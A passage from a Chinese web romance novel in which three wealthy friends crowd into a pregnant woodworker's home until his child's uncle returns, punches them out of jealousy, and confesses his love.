江之遇:“我只是觉得不合适,你留着送给心爱的女孩子吧,还有,空运过来一束花太浪费了,你以后不要再这样了。” 黎清叙:“……” 黎清叙面上流露出和谢津延那晚同样的疑惑。 怎么他送玫瑰花就和心爱的女孩子联系到一起了。 黎清叙想说,我没有心爱的女孩子。 虽然他确实认为男人的身体构造硬邦邦的,对男人没兴趣。 可当初用仪器给眼前这个男人做产检的时候,黎清叙握着探头在男人的肚皮上摩挲,视线落在白嫩的软肉上。 他就在想,这具身体抱上去是什么感觉,是不是也会和肚子上的软肉一样软乎乎的。 真是便宜阿延了。 他弟弟下的药竟然让阿延占了这么大的便宜。 “哈哈哈哈哈。”祁焰忍不住大笑了起来,一把抢过他手中的花,“你竟然也有这样的时候。” 从来没有人能拒绝黎清叙这花狐狸一样风度翩翩的攻势,常常一个笑,三言两语就能迷得那些小男生和小女生晕头转向。 虽然这家伙没正经谈过一个男女朋友,可招惹人的事确实没少做。 居然有人就这么把他给拒绝了,像当初阿延被找上门签断绝关系的协议一样。 真是报应! “我看你还是别白费力气了,之遇哥显然不喜欢你,而且确实挺浪费的。” 祁焰把花塞进这位试图撬墙角却碰了一鼻子灰的发小怀中。 黎清叙斯文面上的表情有些难看,却还是笑了笑,对昭昭养父:“好,你要是不喜欢我这样,觉得浪费,那我下次不空运了。” 祁焰就无语,还真是会曲解他的话,什么叫不喜欢他这样,之遇哥分明对他这个人一点意思都没有,像对阿延一样! “你回去吧,我要拍视频了。”祁焰不想这个发小打扰自己好不容易制造的和美人的二人世界。 黎清叙笑了笑:“就算阿延在,都没有理由随意替昭昭养父拒客,你又是什么身份?” 祁焰:“……” 江之遇觉得很纳闷。 他一直以为只有昭昭小叔在对上他们其中一个或几个朋友时,会有一股莫名紧张的硝烟味。 怎么昭昭小叔不在,换了其他人,还是会有这种怪异的感觉。 他对祁少爷说:“那你随意拍视频吧,我要去做木活了。” 祁焰扬起绚烂的笑容:“谢谢之遇哥。” 接下来,江之遇回到了工具室里,任祁少爷在院子里拍来拍去。 忽然,一个视频通话打了过来,竟然是昭昭小叔的。 自从两个人加了联系方式,他们两个人只在线上交流过,准确来说是昭昭小叔单方面给自己发消息,多是和转钱有关。 他始终恪守着吃自己的喝自己的一定要转账的原则,江之遇就随他了。 除此之外,这个联系方式没有别的用途。 但现在,他竟然会给自己打视频通话。 江之遇很是疑惑,按下接听按钮接通视频,就看到男人一张俊逸帅气的脸出现在镜头里。 应该是在公司会议室,江之遇透过一小方手机屏幕的对话框看到他身后的投影仪,还有桌面上的各种文件。 江之遇问他怎么了,怎么会突然给他打视频通话。 谢津延意味不明道:“我的袖扣好像又掉你那里了,有一份文件好像也落在了床头,你帮我看一看是不是在那里。” 江之遇心道原来如此。 他起身走出工具屋,没有挂断视频通话。 走到堂屋,听男人问道:“刚才院子里的是祁焰吗?” 江之遇望向外面在葡萄藤下自拍的祁少爷,嗯了声:“他说要来拍宣传视频,从我这里切入视角,再拍一些溪源乡其他的风土人情。” “我就知道。”谢津延流畅的下颌线绷紧,似是一字一顿从牙缝里挤出这句话。 江之遇看着他骤然沉下来的脸色,想起他临走前叮嘱自己的话,踟蹰道:“……我也不是故意让他进来,乡长昨天发了公告让我们配合他。” “其实……”江之遇犹豫了一下,小声问出一个心中疑惑很久的问题,“你一直让我不要靠他们太近,像是在防着他们什么,还有你自己,哪有自己说自己不是好人的?” 谢津延默了默,隔着手机屏幕看他疑惑的眼眸,昨晚那种在暗夜里看他睡颜时巨大的寂寥的空虚和空洞又填满心头。 他盯着眼前的人,往椅背上靠了靠,最后无奈扯了扯唇角,似是自嘲一样:“你不懂,他们看你的眼神和我看你的一样。” “你看我什么眼神?”江之遇更纳闷了,与此同时感觉到男人像是在压抑着什么,一双漆黑的眼眸盯着自己,像是能把自己从手机屏幕这头拽进他那里一样。 然后吸附进一个深暗的洞底,被无数藤蔓缠过。 他疑惑他说的这样一句奇怪的话。 而这时,那边传来宋秘书的声音,似乎是有什么重要的事情。 通话就此挂断,江之遇没能听到他对这句话的解释。 “是阿延吗?”在江之遇怔怔地放下手机时,祁少爷的声音响在自己耳边。 江之遇讷讷道:“嗯,他好像有份文件落在这里了。” 还有袖扣,怎么又掉下了? 江之遇便去昭昭的房间看了一眼,果然看到床头昭昭以前写作业的书桌上放着份文件。 还有袖扣,他最后在堂屋方桌的椅子底下找到的,还是两颗,都掉在了地上,他早上打扫的时候居然都没有注意到。 “真的不是故意的吗?”祁焰和黎清叙看他将两枚袖扣小心收纳好,都忍不住嘀咕了声。 黎清叙笑:“怕不是查岗吧,真是疯了,之前还只是忙完才过来,现在在公司都忍不住了,防我们跟防贼似的,我又没做什么?真是心机和心眼都用在了自己的兄弟身上。” 祁焰倒没在意这些,只一眨不眨盯着美人的动作,像极了丈夫出门在外,有遗落的东西,妻子帮忙整理。 他真好啊。 又漂亮,又能干,又特别,还这么细腻贴心。 祁焰从来没想过婚姻的事情,和岭生那种被家里的脏事恶心到对感情之事一点兴趣都没有不同,他自己是打算为梦想献身的。 偶像怎么能心系粉丝以外的人呢? 可现在,祁焰满脑子都是结婚,结婚,结婚。 他也想被之遇哥这样对待。 祁焰晕晕乎乎的。 脑海里连婚礼的场地,甚至之遇哥肚子里宝宝的名字都想好了。 不知道他父母介不介意他养别人的小孩。 他妈妈是外交官,思想一直都很开放,包容心也强,应该不会不同意吧? 所以,当霍岭生再度踏入这座小院的时候,就看到自己的两个朋友其中一人呆滞着一张脸,一副痴痴傻傻的模样,不知道在想什么。 另一个笑的很是牵强怪异。 他蹙了蹙眉:“你们在干什么?都跑到别人家里做什么?” 祁焰被这道冷的像千年寒冰一样的声音激得浑身一个激灵,梦一下子醒了,脸上呆滞涣散的表情也一瞬褪去。 “我来拍宣传视频。”他早就把理由想好了,几乎是没过大脑就脱口而出。 黎清叙倒丝毫没有心虚的样子,反而笑了笑问:“怎么,你又要当审判长了?” 不等对方有所回应,又劝说的口吻,“不过我看你还是赶紧离开这里比较好,免得被误会有什么,你是不知道阿延刚才打电话过来查岗,生怕我们趁他不在怎么了。” 霍岭生听到这句,眉头更深地皱了皱。 他没理会黎清叙,瞥了一眼拿起手机装模作样拍拍拍的祁焰,随后看向许久未见,昨天还没有来得及说上一句话的男人。 他好像没有注意到自己的到来,正握着手机似乎在和什么人发消息。 江之遇怕遗落在自己这里的是重要的文件,找到后第一时间回拨电话给昭昭小叔,可是对方没有接听,估计在忙什么重要的事情。 他又打电话给宋秘书,宋秘书也没有接,可能也在忙。 江之遇就只好给他们两人都发消息留了言,问文件要怎么处理。 过了有一段时间,才收到宋秘书的回信,说不是特别紧急,晚点会有人过来拿。 江之遇便舒了一口气,按下手机屏幕抬起头,这才发现自己的屋子里不知什么时候又多了个人,昭昭小叔的三个朋友都聚集在了自己的屋子里。 最后一位正是回了一趟北城,不再在山寺清修,而是接手家业化身霍总的霍少爷。 他诧异了片刻,像是看出了他的疑惑一样,霍岭生主动道:“昨天已经告知我打算在这里建一个生态园,阿延和我昨天也同你们当地的政府人员初步交涉了一下,所以这段时间,我预计在你们这里采集相关的信息,想了解你们自己对这个生态园有什么想法和期待。” 原来这样。 江之遇了然。 “那现在就已经开始了吗?”他问。 霍岭生嗯了声:“我对你们这里的乡民还不是特别熟悉,所以想先从你这里开始,也想请你给我一些帮助。” 怎么这么像自己的借口…… 祁焰在脑海里想了想,都是从之遇哥这里做切入点,岭生果然目的不纯。 只是没想到他搞这么大,直接要在这里建生态园。 祁焰目光在岭生和黎清叙两个人身上来回打量。 阿延不在,他们竟然这么明目张胆。 他都有点不好意思了。 可是阿延又确实和之遇哥是仅有一个孩子的关系。 岭生说的。 第52章 第 52 章 谢狗:我就是喜欢他怎么…… 一时间, 江之遇的屋子里聚集了三个俊逸非凡的男人,还都是昭昭小叔的朋友。 他们一个要教自己孕夫操和胎教方法,一个要在自己的小院拍宣传视频, 还有一个打算建立生态园, 来自己这里采集乡民意见。 这也是第一次昭昭小叔不在身边, 他同时面对他们三个, 总有些不自在。 因为在江之遇看来, 他们完全是两个世界的人, 如果不是那次在包厢凑巧他们三人也在,他以为这辈子都不会见到他们。 江之遇没去细想他们出现在这里的种种缘由和巧合。 只当是这些豪门少爷特殊的聚会方式和爱好,除此之外, 江之遇想不到其他的理由。 但总归对他的家乡来说是有好处的。 他问霍少爷有什么想了解的。 上次霍少爷临走时给自己留了本珍贵的记载各种失传古技法的书籍,他答应过对方如果有可以帮得上忙的地方一定会尽力而为。 霍岭生视线凝上眼前这张清隽漂亮的面庞上, 询问道:“去工具室可以吗?” 江之遇点头:“可以。” 正好祁少爷在外面拍视频, 在工具室的话不会影响到他的拍摄。 江之遇带霍少爷到工具室。 重新踏入这间木屋,熟悉淡淡的草木清香和木屑的味道钻入鼻尖, 霍岭生被这样的气息重新包裹, 仿佛踏入了曾经属于他们两个人的私密地域一样。 他不动声色嗅闻着这里的味道, 目光落到摆放着做了一半手工制品的工作台上,旁边摊开自己留下来的那本古籍书。 他视线在书页上停留片刻。 想到自己触碰到的地方也被男人翻动书页时用指尖触碰过,就仿佛那日傍晚,他覆着薄茧的手指包裹住自己的手背。 霍岭生眸光晦涩,问:“阿延最近都是这样飞来飞去的吗?” 江之遇给屋子里的三个人都倒了一杯茶, 正端了霍少爷这杯进来, 听到他问起这么一句,微微一怔:“嗯,他一直都是这样的, 如果太晚的话他就会在这里留宿一晚。” 霍岭生听到留宿两个字,虽然一开始就知道他这位发小因小侄子的关系顺理成章地同自己的小侄子一起住在了这里。 也知道这处小院有一个房间几乎已经成了他这位发小的临时居所了,可内心还是难免有些波动。 尤其是他刚才穿过葡萄藤架走进屋子,一眼就看到阳台最显眼的位置摆了盆清新漂亮的兰花。 莲瓣兰素冠荷鼎。 价值一千五百万的兰中孤品。 和眼前这个漂亮的男人一样,仿佛遗落在山中的珍稀素草。 他原也打算拍下,没想到被人抢先一步。 可笑的是,这盆珍贵的兰花到底最后还是归属到了这个男人手中。 还有客厅一角那只缩在笼子里像这个男人一样乖巧可爱的垂耳兔…… 霍岭生没想到他的发小行动这么迅速,短短时间就让这座小院到处都留有他的痕迹。 江之遇见霍少爷忽然沉默下来,半晌不说话,冷白的手指握着茶杯,能看到杯子里清透的茶水微微晃动出细小的波纹。 他清冷的眼眸也覆上一层晦暗不明的情绪,像寂冷的湖泊飘来一阵浓雾,所有的一切都看不分明。 江之遇一向看不透他,也没有探听别人的习惯,只出声打断他,问他意愿征集什么时候开始? 霍岭生恍然回神,拿出平板电脑,在之前每次自己和这个男人一起做手工木活时坐在的那张凳子上坐下。 “抱歉,刚才在想别的事情,我们现在就可以开始了。” 两个人坐在工作台前。 江之遇听他先讲述了一遍关于这个生态园区建设的初步构想,神情像极了当初昭昭小叔拿出规划图纸给他讲要在溪源乡修建空中校车、悬崖电梯,还有架桥的样子。 而此时山脚下就时不时传来机械响动的声音,这个愿景没用多长时间就已经在搭建。 “看起来还真像那么回事。” 堂屋里,黎清叙一边悠闲品着茶,一边望着工具室里的景象,打算这次一回去就给溪源乡捐路捐医院。 祁焰则一边拍摄,一边探头探脑望屋子里看,也感慨一声:“他一直都是这样,吃饭都能吃出重要会谈的样子,道貌岸然,不是,一本正经的。” 祁焰原以为今天是属于他和之遇哥的。 没想到不仅黎清叙提前一步死赖在这里不离开,岭生也来到了这里。 他敢和黎清叙呛,却不太敢和岭生争。 主要是岭生这个人太邪性了,又正又邪的。 说他正,他敢和自己好兄弟跑了的老婆的手黏在一起,看对方的眼神仿佛要把对方生吞活剥,视线黏黏腻腻。 说他不正,又恪守规矩的很。 至少除了被自己撞见的那次,再也没抓到过他有任何逾矩的地方。 祁焰看他们在工具室里交谈。 这次不能像上次那样搬个凳子横插在他们两人中间,上次他找的借口是对之遇哥的木工手艺很感兴趣,能待在一边看。 这次他可是已经说了要拍vlog的。 葡萄藤下的斑驳光影在青石板上缓缓移动。 阳光洒了碎金一般,轻微的风拂过绿叶,掀起一阵绿色的涟漪。 祁焰视线从工具室里移开后,就拍摄起了院子里这座漂亮的葡萄藤架。 他后来知道眼前已经爬满了蓊绿枝叶的葡萄架就是他之前好不容易打通电话,从昭昭口中得知的阿延帮忙搭建的那个。 没想到阿延那双手竟然也会做这种事情。 搭得还挺好。 祁焰拍下这座漂亮的小院漂亮的葡萄藤,又拍了拍小菜园里的各种蔬菜瓜果,全都是之遇哥自己亲手种植的。 还有咕咕叫的鸡。 听说农村散养的鸡下的土鸡蛋特别香,这是之前祁焰当飞行嘉宾去一档田园综艺听其中的一名工作人员说的。 而且祁焰自己也听老黎提到过昭昭养父做饭特别好吃,尤其是用自己手工擀制的面条做的西红柿鸡蛋面,更是味道一绝。 可是他都找不到机会尝一尝。 在院子里四处拍了一通,祁焰终于忍不住又跑回了屋子里。 黎清叙这家伙似是在开通话会议,真是不要脸,明明不像他们有正事要做,却死皮赖脸赖在这里不走。 那束玫瑰花以不要浪费为由,插进了厨房一个陶瓷罐里。 说下次不会再做空运过来一束鲜花这么浪费的事情了,这束花不能随意看着它被丢弃。 他在屋子里闲逛了一会儿,有些无聊。 又舍不得离开。 好不容易阿延不在,虽然黎清叙和岭生在这里有些碍眼,可难得有这样可以待在之遇哥这里的时刻。 而且他还想着一会儿能不能在这里蹭顿饭,他也想吃之遇哥做的饭。 祁焰坐在堂屋的椅子上剪辑视频,一边应对催他早点回去的经纪人。 他胡乱回了几句,又去看工具室里美人的侧颜。 真好看啊。 第一眼在包厢见到的时候就觉得长在了他的审美上。 就是那时的衣着和口音让他有点意外。 还和阿延怀了孩子。 他怔神地望着。 终于,里面像是告一段落似的,岭生起身,向之遇哥说了声谢谢。 祁焰连忙进去,问之遇哥能不能和他拍一段视频。 “你是说要我出镜吗?”江之遇有些意外。 祁焰腼腆地点点头,努力藏住心中一点小心思:“上次看之遇哥做木工,觉得你的手太巧了,我想帮你拍一拍,也说不定对非遗传承有一定的宣传效果。” “这……”江之遇有些犹豫,祁少爷的提议是不错,可是,他垂了垂眼睫,有些内敛道,“我不太会面对镜头,也有点不好意思,出现在你的镜头里会不会不太合适。” “怎么不合适,之遇哥这么漂亮,不被拍摄下来才是最遗憾的!”祁焰目光炽烈地说。 说完,看到岭生还有工具室外的黎清叙都朝他投来意味不明的视线,仿佛看穿了他的心思一般。 因为祁焰其实是想自己偷偷藏一段之遇哥的视频,或是照片。 他的脸红红的。 从耳根到脖子颈全红了。 握着手机的手也冒出热汗。 怕心思暴露,祁焰又支支吾吾说道:“我是说也许之遇哥能够入镜效果会更好,当然,之遇哥你要是不好意思的话,我们也可以只拍手部或是侧面。” 这倒是可以接受的,如果不露脸的话。 江之遇看祁少爷不知怎的急出了一额头的汗,帅气张扬的脸也像被热水烫过一样红红的,他想到乡长让大家配合的话,点了下头:“那就拍手和侧面吧。” 祁焰一听之遇哥答应了,特别开心。 能拍到手他就很知足。 黎清叙好整以暇地走过来。 霍岭生原本打算离开的,这会儿却停住脚步,没有情绪的冰冷目光落在这位藏不住心思的发小身上,倒要看看他作什么妖。 “喂,你们不走吗?” 祁焰看岭生明明忙完自己的事情却不打算离开的样子,黎清叙这家伙竟然也跑来这里碍眼。 他不满道:“你们在这里会影响我拍摄。” 黎清叙笑了笑,倒是没戳穿他,只意味不明地反问一句:“是吗?” 狡猾狐狸一样的笑看得祁焰心虚不已,尤其是旁边还有个冰冷审视着他的岭生。 祁焰想着本来他也只想偷偷藏几张之遇哥的照片,又没其他的,就扬了扬眉梢,十分坦然的样子:“随你们。” 他拿起手机。 江之遇看他们几个奇奇怪怪的,而且霍少爷居然也不走了,都围在一间小小的工具室里看他拍摄。 江之遇坐回工作台前,问祁少爷:“是我随便做点什么就可以吗?” “嗯嗯。”祁焰重重点头,镜头已经对焦过去。 窗前一株新栽没几个月的石榴树,树干不那么粗壮,但因为地处草木繁盛的温润之地,它很快抽了新枝,现在也满树翠绿,还结了几颗小小的石榴果。 从这扇窗能恰好收入庭院里的景致。 祁焰对焦过去镜头,看阳光斜斜落入,小窗美景如画,镜头中的美人也像画一样美好。 他痴痴的表情,告诉之遇哥:“你就像平时自己工作时那样就可以了。” 好吧,江之遇拿起工具,继续完善自己做给宝宝的一座积木树屋。 然后时不时面对祁少爷的提问,和他讲解几句自己在做什么,介绍他手中的工具名称,制作木屋用到的工艺等等。 他声音温软好听,一口吴侬细语听得屋子里的人耳膜都痒痒的。 黎清叙看他清透眼眸浸在斑驳透亮的光影里,一阵舒缓的风吹过,窗前飘飘悠悠几片花瓣,他轻微颤动在碎光里的眼睫也像在翅身染了金屑翩翩起舞的蝴蝶。 霍岭生同样凝视着这样的画面。 几道沉沉的晦涩视线投射过来。 江之遇感到自己的脸颊、手背还有脖颈,都像是被火舌舔噬了一下,有种灼热的感觉。 也可能和窗外明亮的太阳光线和自己第一次在别人的镜头里感到不自在有关。 “那个,之遇哥,能不能请你再换个角度。”祁焰望着镜头里的美人,每一帧都漂亮得让人心动。 尤其是他侧身对着自己,光将他整个侧身还有侧脸镀了一层朦胧的光圈。 他看不清他的面容,却能看到他卷翘的睫毛,水润的唇瓣,还有上次在船上他俯身贴过来时,祁焰在他左侧靠近耳垂的脖颈上看到的那颗小痣。 也像点了金光一样。 仿佛用手触碰一下就会被烧灼。 他强迫自己移开视线,专注在其他地方。 江之遇转过身,看他脸似乎比刚才更红了,身上像冒了热气一样,一副中暑的模样。 可分明已经过了暑气浓烈的夏季。 江之遇问:“你要我做什么角度?” 祁焰走过去:“我想拍一下你刚才俯身凑到桌子上的积木木屋前,用笔在上面构线的画面。” 江之遇:“?” 他回忆了一下刚才的动作,拿起画线笔按照他说的俯了俯身:“是这样吗?” 祁焰点头:“对,手再往上一点。” 江之遇便又抬了抬手:“这样可以了吗?” 祁焰眉头轻微拧了拧,盯着手机屏幕里的构图:“好像差点什么。” 他思索了一会儿,走到美人身边,握住他的手往外侧了侧,露出虎口和指尖上一层薄茧:“我想把这双充满故事感的手也全部拍进去。” “拍手就拍手,动手做什么?”黎清叙看到这里,忍不住走过去一把握住一截细白的手腕,一把将另一只不老实的手扯开。 “我只是想帮之遇哥调整一下姿势,保证完美构图,还有把手上做木工留下的痕迹也拍进去。”祁焰慌张地为自己辩解。 黎清叙似笑非笑:“你是在拍vlog,又不是在拍大片?还构图,我看你就是在动歪心思。” “我没有。”祁焰委屈,他真的是觉得之遇哥刚才俯身给木屋构线时的画面很美好。 秀美侧颜俯下,被光晕映照得看不清面部细节,整个人还有画面却又柔和又美好。 他纤长漂亮的手握着一支笔,木屋在他手上投下一片阴影。 阴影覆盖下是虎口、拇指和食指的指腹因长长时间做手工艺制品留下的一层薄茧。 他沉浸其中,像在绘制一个美好的梦。 祁焰没有艺术功底,也没修习过镜头语言,可就是觉得这一幕很美好,想把它记录下来。 黎清叙笑了笑:“那你直接说不就行了,为什么要自己上手?” “好了,别吵了。” 霍岭生自始自终看不出情绪地注视着眼前这一幕,视线落在黎清叙手上,冷嗤一声:“你也没好到哪里去。” “好好好,审判长又开始发起正义的审判了。”黎清叙笑了笑,望了眼落在自己手上的审视视线,松了松手,退后一步。 没注意到他身后就是昭昭养父那排每个格子几乎都摆放了一个木质小玩具的置物架。 他这么一退,脊背撞上置物架,木架轻微晃动了下,上方那只长长脖颈的木制长颈鹿晃晃悠悠就要往下掉。 江之遇在他们莫名其妙又争吵起来注意到了,起身去接这只一摔怕不是要摔断脖颈的长颈鹿。 霍岭生也看到了,伸过去手。 黎清叙出于本能反应随手就朝往下掉的影子抓去。 祁焰脑子慢了一拍,可是被岭生的力道带了过去。 所以当谢津延挂断视频通话快速开完会议就匆匆忙忙赶回这里时,看到院子和堂屋没有人,工具室里却混乱成一团的画面。 他目光沉郁地盯在他们捉在男人手背上的手,旁边还有一个痴痴呆呆扑上去的身影。 谢津延上前一人给了一拳。 脸上传来钝痛的感觉,似有血腥味在口腔中扩散开来。 霍岭生松开手,望向冷冷注视着他们的这道身影,没去擦唇角的血迹。 倒是黎清叙很是意外。 “你疯了吗?干吗二话不说就动手。” 他舌头抵了抵下颚,一口血腥味,还好牙没掉。 阿延这狗东西,下手可真够狠的。 只祁焰挨了一拳没吭声,察觉到危险气息,也有些心虚似的。 江之遇愣了愣。 不知道昭昭小叔怎么突然回来了,而且浑身充满了暴戾的气息,也不知道眼前的情况是怎么一回事,他们几个好朋友为什么会打起来。 他张了张口,想问他怎么了。 却被男人拉过手腕,一言不发地护到身后,如果他没有理解错的话,彷佛围在他身边的是一群豺狼野兽。 然后听他听不出情绪地冷声对黎少爷:“为什么打你你自己清楚。” 黎清叙笑:“我不清楚,我只知道我被自己的好兄弟莫名其妙打了一拳。” “是吗?那厨房的玫瑰花是怎么一回事,我一走你就往这里跑是怎么回事?今天是什么理由?继续讲故事还是看手相?” “阿延,你误会了。”霍岭生轻微皱了皱眉道。 谢津延看向这位心思莫测,自诩正义,却摇身一变霍总跑来这里和自己争开发建设权的发小,面无表情问:“那你说,是什么误会?” 祁焰小小声地插进去一句:“是之遇哥的小鹿差点从木架上掉了,大家想帮他接住小鹿。” 谢津延一听他喊‘之遇哥’就烦:“所以,为什么会掉?他自己一个人好好待在家里,平时对这些东西宝贝得紧,一点意外都没有,为什么你们一来就掉?还有,你们三个到底为什么总往这里跑?” 祁焰:“我来拍……” “别找这些冠冕堂皇的理由。”谢津延极力压制住心中的戾气,冷嗤道。 “不是阿延,你这是什么意思,只准你来这里,不准我们来,溪源乡是刻了你名字吗?”黎清叙心中也被激起一阵火气,尤其是他才是最先到这里的人。 谢津延讥诮:“是没刻我的名字,可你们不觉得你们来这里的目的太不单纯了吗?” “那你又是什么目的?”黎清叙笑了笑,面部神经一抽,嘶,好疼。 看来他回去也要练几手了。 “你别告诉我,你成天飞来飞去,又是在义务这里修缆车,又是架桥,还给昭昭养父买1500万的兰花,是因为你钱多得没地方花。” 1500万的兰花? 江之遇身形一怔,听到黎少爷这句话,望向堂屋阳台上的兰花。 他不是告诉自己这盆花是150块钱吗?怎么会这么贵。 谢津延眸色暗了暗。 祁焰也意想不到似的,他就说今天走进这座小院总觉得哪里有些扎眼,原来是摆了盆兰花宣誓主权。 霍岭生没有作声。 谢津延蹙眉片刻,心情有些烦躁:“我做什么和你们无关。” “那我们做这些又和你有什么关系呢?”黎清叙反唇相讥。 “我是他肚子里孩子的生父,你们又算什么?” 谢津延终于忍不住冷声道。 工具室陷入了一瞬的静默。 这个这么长时间从未被宣之于口的隐秘话题终于被提起。 江之遇身躯一僵,似乎没有想过他会提这件事。 自从签了那张协议单,他就以为两个人已经彻底切割,他们之间只剩下昭昭这层联系。 男人也从来不在自己面前提及他是孩子生父的事。 且一直遵守只要是和孩子有关的一切,只在两人加的那个联系方式上说。 江之遇想,他应当是接受了。 尽管他们现在常常见面,可也只是因为昭昭。 怎么也没想到他其实是在意的。 江之遇有些混乱。 而这时,黎清叙出声打破沉默:“其实你们之间除了有这层关系还有什么?别忘了,你们两个人之间只是意外,昭昭养父那天说了不想和你有牵扯,你也在那张协议单上签了字,你们现在什么关系都没有,哦对,还有层你小侄子的关系。” “就是……”祁焰小声嘟囔一句,“岭生也这样说过。” 霍岭生:“……” 谢津延怔了怔,思绪一下子被拉回到那个大雨滂沱的傍晚,男人在雨幕前颤抖着眼睫一定要自己签字。 不签字他就不离开,那么迫不及待和坚定地想要和自己割断一切联系。 谢津延那几天也在想,他走了就走了。 反正是个意外,他不愿和自己有牵扯,自己又何必挽留他? 就好像自己也愿意和他有牵扯似的。 可是…… 总也忘不了他在走廊用细白手指紧紧抓在自己胳膊上的触感,喋喋不休却又黏腻好听的声音。 还有小心翼翼看向自己胆怯又倔扭的清透眼眸。 这些时日,谢津延有时候自己都不知道自己在做什么。 很多时候几乎是下意识的,可是思绪就是忍不住为他牵扯。 会为他每次给自己点的那支飘散着袅袅草木清香的驱虫香而感到心神安宁惬意。 会为他每次被自己靠近露出受惊的表情又努力迎上自己视线的模样可爱到,感到心情愉悦。 他冲自己笑一下,他心里就像打翻了蜜桃水一样。 可是有别人围在他身边,他又克制不住地阴暗,酸涩,嫉妒,想赶走他身边所有不怀好意的人。 尤其是这几个眼神和自己一样的发小。 好像从第一眼见到他起,自己的心绪就没有因为他平静过。 谢津延敛眸,所有的情绪涌集心头,仿佛一道高高掀起的海潮压得他胸腔透不过气。 又像是被什么挖空,挖出一个他这些时日怎么也填不满的巨大的空虚寂寥的洞。 他面上的表情有些怔然,身上的戾气也一瞬间有些无处宣泄。 黎清叙见他半天不说话,整个人的状态怪怪的,总是挑出笑意的眉头终于忍不住蹙了蹙。 “怎么,不像疯狗一样咬我们了?真不明白你占有欲怎么这么强,自己都已经断了联系还死死霸着对方不让别人靠近。” “该不会是你后悔了,一次次跑来乡下是想把昭昭养父追回去吧?” “是……” 忽而,这位突然沉默下去一言不语,似是陷入某种怪异状态的发小再次沉沉出声。 “我就是后悔了,我不该在那张协议上签字,不该放他离开,不该让你们在我家里见到他,我就是喜欢他,喜欢到你们看他一眼我就想揍你们。” “哐当”一声。 江之遇手中的木制长颈鹿掉落在地。 他愣愣地站在原地,隽秀的脸上写满了不可置信和迷茫。 他刚才听到了什么? 昭昭小叔说喜欢他。 ……是他理解的那种喜欢吗? 第53章 第 53 章 想亲你、抱你………… 江之遇大脑“嗡嗡嗡”的, 像是有什么东西在脑海里炸开,让他整个脑袋混沌成一片,失去了暂时思考的能力。 他满脑子都是昭昭小叔说的这声喜欢, 他说他喜欢自己。 后悔在那张协议单上签字, 后悔放自己离开。 可是, 昭昭小叔不是亲口对自己说过, 他不喜欢男人吗? 而且不止一次, 不止一次说过他对男人没兴趣, 和自己只是意外,每次都是不想和自己有任何牵扯和瓜葛的样子。 怎么会突然说这样的话…… 江之遇感到懵然,又有些不太理解。 他在想昭昭小叔是不是受什么刺激了, 或是哪里不舒服。 还是,他口中的这声喜欢是自己理解错了。 因为怎么看, 昭昭小叔都不像是能说出这种话的人, 尤其是对自己。 他们两个人从第一次见面就充满了意外,昭昭小叔对自己很不耐烦。 尽管后来江之遇才知道, 他那时以为自己给他下药, 要对他做图谋不轨的事。 可是无论是后来暂住在谢家庄园还有往后种种, 他都不像是愿意和自己有牵扯的样子。 尤其是他们本质上是两个世界的人,这样一个出身豪门世家,手握权力和资源,站在名利场中心的天之骄子,怎么会喜欢自己这样一个乡下人。 他们还有一层养父和小叔的关系。 是不是哪里搞错了…… 江之遇极力转动着大脑, 努力去理解昭昭小叔刚才说的这些话。 工具室里的其他人也很意外。 黎清叙斯文面上的表情僵住, 他脸上挨了一拳,面部有些青肿,因此这张平日里总是能迷晕很多人的斯文俊逸的脸上第一次看上去很是滑稽难看。 他似乎没想到自己的反唇相讥会激起发小的心声吐露和告白。 更没想到他成日往乡下跑竟真包藏着这样的心思。 黎清叙一时说不清自己的心里是什么样的情绪。 就好像昭昭欢迎宴那天, 他在收进漂亮景致的谢家偏厅廊道无意间撞见自己以为是发小家佣人的美人。 一袭古典风格的刺绣衣裳,和那日在花园里见到的彷佛是两个人,但一双漂亮纯透的眼眸又告诉自己没有认错。 然而很快他和阿延的牵扯让自己心纠,不是金屋藏娇的情人而是发小找回的小侄子的养父又让他心情一下子舒展。 上上下下,起起伏伏。 包厢那日更不用说。 黎清叙从来没有想过有一天他也会被一个人吸引全部的注意力。 他向来具有探索精神和对科学实验严谨态度的追求。 如果说一开始是对这种引起自己不可控心跳的人感到好奇,也或许有见色起意的成分在。 可后来这个老实淳朴的男人一次次打破他的认知,让他轻易煽动人心的技巧在他身上无处施展。 黎清叙开始不再是一副研究者的心态了,对这个男人起了真正的兴趣。 可怎么也没想到抱有这种心思的不止他一人。 还后来者居上,这么快就展开行动。 阿延这狗东西不愧是一接手他骤然逝世的大哥留下的摊子就能快速整清局势,迅速站稳脚跟的人。 手腕强悍,雷厉风行,签协议快,反悔也快。 黎清叙都有些后悔自己刚才嘴欠了,为什么要激这条疯狗。 而一旁的霍岭生同样眸色沉晦,似乎没料想是这样的状况。 只是他向来是不轻易显露情绪的人,尽管内心心湖震荡,面上却看不出什么。 只有祁焰一个人张大了嘴巴,和霍岭生恰恰相反,他向来藏不住心思,喜怒哀乐总是轻易反应在脸上。 仿佛回到了那个雨珠噼里啪啦砸着酒吧包厢玻璃窗的那个傍晚。 只是情况好似有了很大的变化。 一道道意味不明的视线投射过来。 江之遇的大脑依旧懵懵的,始终没有弄明白状况。 许久,他拉了拉挡在自己面前男人的衣角,鼓起勇气开口:“……你是不是哪里搞错了,你怎么会喜欢我呢?你是不是又哪里不舒服在说胡话,我看你昨晚像是没有睡好的样子。” “我没有说胡话。”谢津延转身,俊逸面庞上的表情很是复杂。 他的大脑有一点充血,胸腔依旧像被潮水挤压一样,闷得他快要透不过气。 可是那种填不满的空洞却好似消失了。 他漆黑眼眸沉沉注视着眼前这个牵动他所有心绪的男人,嗓音有些暗哑却清晰,一字一顿:“我没有说胡话,也没有搞错,我说的都是真的。” “可你不是说你不喜欢男人吗……”江之遇一被他这样的视线盯住,就浑身不自在,小声嘟囔了句。 谢津延觉得自己的脸颊像是被抽了一巴掌,火辣灼痛的感觉在脸部蔓延,心脏也像是被一只无形的手狠狠捏了一把。 然而,他现在什么都顾不了了。 几个发小豺狼虎豹一样窥视四周,他稍一松懈,他们就虎视眈眈地环伺过来。 这个男人又总是不设防的样子,丝毫察觉不到危险,就这样把雪白的脖颈随意暴露在肆意窥探的视野里。 谢津延原本还想给自己找个理由,他所做的一切都是因为小侄子。 还有,就算男人和他切断了联系,肚子里的孩子怎么也是他的。 谢津延不可能放任自己的亲生骨肉不管。 然而直到一次次失控,他不仅所有心绪都被这个男人牵扯,无论是心还有身都对他产生了强烈的欲望。 他的心期待被他的一言一笑填满。 身体总是克制不了对他产生反应,一次次生出欲望,最后根本舒缓不了,急需心理上的安慰。 而这一切的一切在刚才看到的工具室里的景象全部崩盘。 